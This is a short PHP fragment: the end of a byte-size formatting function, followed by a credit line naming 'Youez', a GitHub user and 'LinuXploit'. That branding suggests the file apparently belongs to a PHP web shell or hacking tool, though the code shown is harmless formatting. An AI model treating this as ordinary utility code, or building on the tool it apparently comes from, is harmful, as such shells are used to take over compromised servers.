    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= pow(1024, $pow);
    return round($bytes, $precision) . ' ' . $units[$pow];
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit